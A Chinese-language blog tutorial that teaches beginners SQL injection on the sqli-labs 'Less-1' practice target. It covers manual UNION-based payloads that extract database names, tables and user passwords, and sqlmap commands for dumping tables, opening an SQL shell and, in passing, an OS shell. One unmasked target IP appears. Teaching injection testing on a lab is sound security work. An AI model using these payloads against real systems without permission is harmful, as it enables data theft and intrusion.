零基礎使用Sqlmap進行測試?你不得不掌握的基礎知識

點贊後看,養成習慣
喜歡的話 可以點個關注喲
你們的點贊支持對博主們來說很重要哦 !!!

本文將針對以下問題逐條進行解答:

01 Sqlmap是用來幹什麼的?

02 手工注入測試SQL注入漏洞的過程?

03 使用Sqlmap測試SQL注入漏洞的過程?

04 使用Sqlmap有什麼心得?

爲方便您的閱讀,可戳下方藍字,快速跳轉

在這裏插入圖片描述


01 Sqlmap的用途

如果大家有聽過SQL注入漏洞,那麼簡單來說,SQLmap便是自動化SQL注入漏洞工具

Sqlmap是專門用於對付網站數據庫的利器,不僅可以對數據庫進行指紋識別、讀取文件、提取數據等操作,在獲取管理員權限情況下,甚至可以對數據庫進行刪庫操作,爲所欲爲!


在這裏插入圖片描述
可能從以上的描述,大家還不能理解Sqlmap這個工具的厲害之處。

那麼接下來,我就以同一個漏洞場景,分別從手工測試和Sqlmap工具層面進行測試,讓大家見識見識Sqlmap的厲害。

(爲安全起見,不公開搭建的靶場,以下測試環境中以xx.xx.xx.xx代替真實IP地址


02 手工SQL注入漏洞

這裏舉一個SQL注入漏洞的栗子:

通過Union注入獲取後臺數據庫的user表中對應的用戶名及密碼信息:

1.在疑似注入頁面的網站:http://47.107.79.22:83/Less-1中,通過添加單引號判斷是否存在注入點

http://xx.xx.xx.xx:83/Less-1/?id=1

在這裏插入圖片描述

http://xx.xx.xx.xx:83/Less-1/?id=1'

在這裏插入圖片描述

根據以上測試,發現數字1後添加單引號之後再次請求頁面, 頁面返回信息不同 初步判斷存在SQL注入漏洞,且頁面返回數據庫信息的 , 針對性採用union注入攻擊


2.判斷該頁面的字段數
http://xx.xx.xx.xx:83/Less-1/?id=1' order by  3 --

(注意:-- 兩個橫槓一個空格是mysql中的註釋符,用於註釋注入語句之後的語句)


在這裏插入圖片描述

http://xx.xx.xx.xx:83/Less-1/?id=1' order by  4 --

在這裏插入圖片描述

我們發現當輸入字段數爲3時,頁面信息無誤,而輸入字段數爲4時,頁面返回信息出錯

因此我們判斷頁面字段數爲3


3.查看頁面回顯點

http://xx.xx.xx.xx:83/Less-1/?id=-1' union  select 1,2,3  --

(注意:這裏要把1改成-1,原因是當用id=1的時候執行的結果只有一條記錄,所以我們要讓union左邊的select子句查詢結果爲空,這樣頁面就會回顯union右邊的查詢結果)

在這裏插入圖片描述

觀察頁面,2,3數字位置爲回顯點,我們可以通過該回顯點來獲取數據庫名、數據表名等關鍵信息


4.查看數據庫

http://xx.xx.xx.xx:83/Less-1/?id=-1' union  select 1,2,database()  --

在這裏插入圖片描述

我們獲取到數據庫名爲:security

之所以我們能夠查詢到數據庫名,是因爲mysql數據庫的特殊性。

在mysql數據庫中,information_schema是系統數據庫,安裝完就有,記錄內容是當前數據庫的數據庫,表,列,用戶權限等信息,以下是該數據庫中的三張數據表:

表名 含義
SCHEMATA表 儲存mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等,show databases的結果取之此表。
TABLES表* 儲存mysql中的表信息,(當然也有數據庫名這一列,這樣才能找到哪個數據庫有哪些表嘛)包括這個表是基本表還是系統表,數據庫的引擎是什麼,表有多少行,創建時間,最後更新時間等。show tables from schemaname的結果取之此表
COLUMNS表 提供了表中的列信息,(當然也有數據庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息,包括該列是那個表中的第幾列,列的數據類型,列的編碼類型,列的權限,獵德註釋等。是show columns from schemaname.tablename的結果取之此表。

5.查看數據表
http://xx.xx.xx.xx:83/Less-1/?id=-1' union  select 1,2,(select table_name from  information_schema.tables where  table_schema = 'security'  limit  3,1) --

在這裏插入圖片描述

我們得知有個數據表名是users


6.查看對應數據

http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --

在這裏插入圖片描述

以上測試用到的函數:

函數 作用
concat_ws() 從數據庫裏取N個字段,然後組合到一起用符號分割顯示,第一個參數剩餘參數間的分隔符
char() 將十進制ASCII碼轉化成字符
user() 返回當前數據庫連接使用的用戶
database() 返回當前數據庫連接使用的數據庫
version() 返回當前數據庫的版本



03 使用Sqlmap的方法

一般情況下,我們利用該工具的思路如下:

1)尋找一個可能有SQL注入漏洞的網址
http://47.107.79.22:83/Less-1/?id=1

2)使用SQLmap,-u參數檢測是否存在注入漏洞( 如果網址存在多個參數,這個網址要用雙引號包起來)

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1

在這裏插入圖片描述

檢測的時候出現的三個問題分別是:

1、已檢測出可能是某某某數據庫,是否跳過其他數據庫的檢查

在這裏插入圖片描述
2、是否啓用對於某某某數據庫的所有負載測試

在這裏插入圖片描述
3、已知某參數可能存在注入,是否還有檢測其他參數

在這裏插入圖片描述
3)–dbs參數 查看數據庫

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --dbs

在這裏插入圖片描述

4)–tables參數 查看數據表

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security --tables

在這裏插入圖片描述
4)–columns參數 查看數據列

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --columns

在這裏插入圖片描述
5)–dump參數 查看具體內容

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump

在這裏插入圖片描述
註明:爲了加強我們檢測的力度,每次使用的時候可以使用高等級檢測,和僞造referer
即每次都加上
–level 5 --referer http://baidu.com

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump --level 5    --referer  http://baidu.com

6)在獲知數據庫名、數據表名、列名的情況下,我們還可以使用自定義SQL語句參數爲 --sql-shell

sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --sql-shell

在這裏插入圖片描述

這裏以查詢user數據包的所有數據舉例
在這裏插入圖片描述
檢索結果如下:

在這裏插入圖片描述
除此之外,我們還可以通過數據庫來進行系統命令注入,
參數爲 --os-shell,這個大家自行嘗試

04 簡單小結

通過上述手工測試和工具測試的例子,相信大家可以瞭解到:相較於繁瑣複雜的手工SQL注入測試,Sqlmap像是給貓插上了翅膀一般,理解一些主要關鍵字的用法即可上手。


在這裏插入圖片描述
所以當你遇到可能的SQL注入場景,都可以先來Sqlmap來遛一遛,說不定就有驚喜等着你。

當然,雖說不管白貓黑貓,能抓到耗子的就是好貓。Sqlmap工具在效率上顯然是佔據優勢的,但其也存在其侷限性,在某些特定場合並不喫香。而手工注入永遠你"最後的武器",希望大家平時也勤加練習

在這裏插入圖片描述





最後,如果本文對你有所幫助,希望可以點個贊支持一下。你們的鼓勵將會是博主原創的動力。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章